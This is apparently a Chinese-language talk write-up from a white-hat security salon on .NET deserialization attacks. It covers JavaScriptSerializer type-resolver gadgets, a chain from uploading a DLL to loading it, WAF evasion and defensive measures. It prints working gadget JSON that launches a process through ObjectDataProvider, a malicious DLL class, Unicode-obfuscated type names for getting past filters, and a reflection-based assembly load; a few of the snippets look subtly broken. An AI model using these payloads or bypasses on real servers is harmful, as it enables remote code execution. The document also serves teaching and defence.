【补天白帽黑客城市沙龙-杭州站】.NET反序列化漏洞全链路攻防
字数 1774 2025-09-01 11:25:54

.NET反序列化漏洞全链路攻防技术解析

一、.NET反序列化漏洞概述

1.1 反序列化漏洞基本原理

  • 序列化:将对象转换为可存储或传输的格式(如JSON、XML、二进制)
  • 反序列化:将存储或传输的数据重新构造为对象
  • 漏洞成因:反序列化过程中执行了不可信的输入数据,导致恶意代码执行

1.2 .NET中常见的反序列化组件

  1. BinaryFormatter

    • 二进制序列化,功能强大但危险性高
    • 可序列化任意类型,包括委托和动态生成的代码
  2. JavaScriptSerializer

    • ASP.NET内置的JSON序列化器
    • 存在特殊漏洞触发机制
  3. DataContractSerializer

    • 基于契约的序列化器
    • 相对安全但仍存在潜在风险
  4. XmlSerializer

    • XML格式序列化
    • 安全性较高,但配置不当仍可能存在问题

二、JavaScriptSerializer特殊漏洞机制

2.1 漏洞触发原理

  • JavaScriptSerializer默认使用SimpleTypeResolver进行类型解析
  • 攻击者可构造恶意JSON指定任意类型进行实例化
  • 通过__type字段指定要反序列化的类型

2.2 漏洞利用条件

  1. 使用JavaScriptSerializer反序列化不可信数据
  2. 未设置或使用不安全的TypeResolver
  3. 目标类中存在危险方法或属性

2.3 典型利用代码示例

string json = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '__type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";

JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.DeserializeObject(json);  // 触发命令执行

三、从DLL上传到混合程序集加载的完整利用链

3.1 攻击流程

  1. 恶意DLL上传:利用文件上传漏洞将恶意DLL上传到服务器
  2. 反序列化触发加载:通过反序列化漏洞加载上传的DLL
  3. 混合程序集利用:利用程序集加载机制执行恶意代码

3.2 关键步骤详解

3.2.1 恶意DLL制作

// 恶意类示例
public class EvilClass
{
    public EvilClass()
    {
        System.Diagnostics.Process.Start("calc.exe");
    }
    
    public string ExecuteCommand(string cmd)
    {
        // 命令执行逻辑
    }
}

3.2.2 利用反序列化加载DLL

string json = @"{
    '__type':'EvilClass, EvilAssembly, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null',
    'Command':'whoami'
}";

// 通过反序列化触发DLL加载
JavaScriptSerializer serializer = new JavaScriptSerializer(new SimpleTypeResolver());
serializer.DeserializeObject(json);

3.2.3 混合程序集技术

  • 利用AppDomain.AssemblyResolve事件劫持程序集加载
  • 通过Assembly.Load动态加载恶意程序集
  • 结合反射调用危险方法

四、WAF绕过技术

4.1 常见WAF防护策略

  1. 黑名单过滤危险类型(如ObjectDataProvider
  2. 检测__type字段的使用
  3. 限制反序列化深度
  4. 监控异常行为

4.2 代码层面绕过方法

4.2.1 类型名称混淆

// 使用全小写或大小写混合绕过简单匹配
"__type": "system.windows.data.objectdataprovider"

// 使用Unicode编码
"__type": "\u0053\u0079\u0073\u0074\u0065\u006d\u002e\u0057\u0069\u006e\u0064\u006f\u0077\u0073\u002e\u0044\u0061\u0074\u0061\u002e\u004f\u0062\u006a\u0065\u0063\u0074\u0044\u0061\u0074\u0061\u0050\u0072\u006f\u0076\u0069\u0064\u0065\u0072"

4.2.2 替代危险类型

  • 使用System.Configuration.Install.AssemblyInstaller
  • 利用System.Management.Automation.PowerShell
  • System.Activities.WorkflowInvoker

4.2.3 分阶段触发

  1. 第一阶段:反序列化无害对象
  2. 第二阶段:通过属性设置触发恶意行为

4.2.4 反射调用

string json = @"{
    '__type':'System.Reflection.Assembly, mscorlib',
    'Location':'C:\\temp\\evil.dll'
}";

// 通过反射加载和执行
var obj = serializer.DeserializeObject(json);
Type type = obj.GetType();
MethodInfo loadMethod = type.GetMethod("LoadFrom");
Assembly evilAssembly = (Assembly)loadMethod.Invoke(null, new object[] { "C:\\temp\\evil.dll" });

五、防御措施

5.1 安全编码实践

  1. 避免使用不安全的序列化器

    • 禁用BinaryFormatter
    • 谨慎使用JavaScriptSerializer
  2. 使用安全配置

    // 使用安全的TypeResolver或禁用类型解析
    JavaScriptSerializer serializer = new JavaScriptSerializer();
    // 或
    JavaScriptSerializer serializer = new JavaScriptSerializer(new SafeTypeResolver());
    
  3. 输入验证

    • 验证反序列化数据的来源和内容
    • 过滤__type等危险字段

5.2 运行时防护

  1. 代码访问安全(CAS)

    • 限制程序集加载权限
    • 配置适当的代码访问策略
  2. 应用程序白名单

    • 限制可加载的程序集
    • 监控异常程序集加载行为
  3. 深度防御

    • 结合WAF和RASP防护
    • 日志记录和监控反序列化操作

5.3 安全审计工具

  1. 静态分析工具

    • 检测危险反序列化代码
    • 识别不安全的配置
  2. 动态测试工具

    • 模糊测试反序列化接口
    • 自动化漏洞验证

六、实战案例分析

6.1 案例1:通过文件上传+反序列化实现RCE

  1. 攻击者上传恶意DLL到临时目录
  2. 构造特殊的JSON触发DLL加载
  3. 通过反序列化漏洞执行恶意代码

6.2 案例2:绕过企业级WAF的利用链

  1. 使用混淆的类型名称绕过黑名单
  2. 分阶段触发恶意行为
  3. 利用合法的业务功能作为跳板

七、总结与扩展

7.1 关键要点

  • .NET反序列化漏洞危害严重,可导致RCE
  • JavaScriptSerializer等组件存在特殊漏洞机制
  • 完整利用链可结合文件上传和程序集加载
  • WAF绕过需要深入理解.NET类型系统和反射机制

7.2 扩展研究方向

  1. .NET Core中的反序列化安全问题
  2. 新型反序列化gadget的挖掘
  3. 基于机器学习的异常行为检测
  4. 安全的替代序列化方案(如MessagePack)
.NET反序列化漏洞全链路攻防技术解析 一、.NET反序列化漏洞概述 1.1 反序列化漏洞基本原理 序列化:将对象转换为可存储或传输的格式(如JSON、XML、二进制) 反序列化:将存储或传输的数据重新构造为对象 漏洞成因:反序列化过程中执行了不可信的输入数据,导致恶意代码执行 1.2 .NET中常见的反序列化组件 BinaryFormatter 二进制序列化,功能强大但危险性高 可序列化任意类型,包括委托和动态生成的代码 JavaScriptSerializer ASP.NET内置的JSON序列化器 存在特殊漏洞触发机制 DataContractSerializer 基于契约的序列化器 相对安全但仍存在潜在风险 XmlSerializer XML格式序列化 安全性较高,但配置不当仍可能存在问题 二、JavaScriptSerializer特殊漏洞机制 2.1 漏洞触发原理 JavaScriptSerializer默认使用 SimpleTypeResolver 进行类型解析 攻击者可构造恶意JSON指定任意类型进行实例化 通过 __type 字段指定要反序列化的类型 2.2 漏洞利用条件 使用JavaScriptSerializer反序列化不可信数据 未设置或使用不安全的TypeResolver 目标类中存在危险方法或属性 2.3 典型利用代码示例 三、从DLL上传到混合程序集加载的完整利用链 3.1 攻击流程 恶意DLL上传 :利用文件上传漏洞将恶意DLL上传到服务器 反序列化触发加载 :通过反序列化漏洞加载上传的DLL 混合程序集利用 :利用程序集加载机制执行恶意代码 3.2 关键步骤详解 3.2.1 恶意DLL制作 3.2.2 利用反序列化加载DLL 3.2.3 混合程序集技术 利用 AppDomain.AssemblyResolve 事件劫持程序集加载 通过 Assembly.Load 动态加载恶意程序集 结合反射调用危险方法 四、WAF绕过技术 4.1 常见WAF防护策略 黑名单过滤危险类型(如 ObjectDataProvider ) 检测 __type 字段的使用 限制反序列化深度 监控异常行为 4.2 代码层面绕过方法 4.2.1 类型名称混淆 4.2.2 替代危险类型 使用 System.Configuration.Install.AssemblyInstaller 利用 System.Management.Automation.PowerShell System.Activities.WorkflowInvoker 4.2.3 分阶段触发 第一阶段:反序列化无害对象 第二阶段:通过属性设置触发恶意行为 4.2.4 反射调用 五、防御措施 5.1 安全编码实践 避免使用不安全的序列化器 禁用 BinaryFormatter 谨慎使用 JavaScriptSerializer 使用安全配置 输入验证 验证反序列化数据的来源和内容 过滤 __type 等危险字段 5.2 运行时防护 代码访问安全(CAS) 限制程序集加载权限 配置适当的代码访问策略 应用程序白名单 限制可加载的程序集 监控异常程序集加载行为 深度防御 结合WAF和RASP防护 日志记录和监控反序列化操作 5.3 安全审计工具 静态分析工具 检测危险反序列化代码 识别不安全的配置 动态测试工具 模糊测试反序列化接口 自动化漏洞验证 六、实战案例分析 6.1 案例1:通过文件上传+反序列化实现RCE 攻击者上传恶意DLL到临时目录 构造特殊的JSON触发DLL加载 通过反序列化漏洞执行恶意代码 6.2 案例2:绕过企业级WAF的利用链 使用混淆的类型名称绕过黑名单 分阶段触发恶意行为 利用合法的业务功能作为跳板 七、总结与扩展 7.1 关键要点 .NET反序列化漏洞危害严重,可导致RCE JavaScriptSerializer等组件存在特殊漏洞机制 完整利用链可结合文件上传和程序集加载 WAF绕过需要深入理解.NET类型系统和反射机制 7.2 扩展研究方向 .NET Core中的反序列化安全问题 新型反序列化gadget的挖掘 基于机器学习的异常行为检测 安全的替代序列化方案(如MessagePack)